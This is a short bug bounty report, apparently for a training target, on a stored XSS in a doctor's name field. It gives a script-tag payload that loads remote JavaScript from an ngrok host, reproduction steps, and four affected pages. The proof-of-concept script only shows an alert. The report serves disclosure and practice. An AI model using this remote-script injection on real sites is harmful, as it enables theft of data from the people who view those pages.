BugBountyHunter

I have discovered a stored XSS vulnerability affecting the doctors name that will execute on 4 different pages

Payload string

<script/src=//ngrok.io/payload.js?c=

payload.js contents

alert(document.domain)

To reproduce:

1. Host the payload.js file on a server I used ngrok
2. Login in and pick a doctor to modify
3. Change the doctors name to the payload string
4. Visit one of the endpoints below and the xss will execute

Endpoints that this xss will execute on:

1. firstbloodhackers.com/doctors.php
2. firstbloodhackers.com/meet_drs.php
3. firstbloodhackers.com/manageappointment.php?success&aptid={ID} If the payload is placed in Dr. julie's name and she is assigned to the appointment

4. firstbloodhackers.com/about.php If the payload is placed in Dr. Jon's name

   Impact:

5. The attacker can steal data from whoever views the page.
6. Users can execute arbitrary JavaScript code in the context of other users.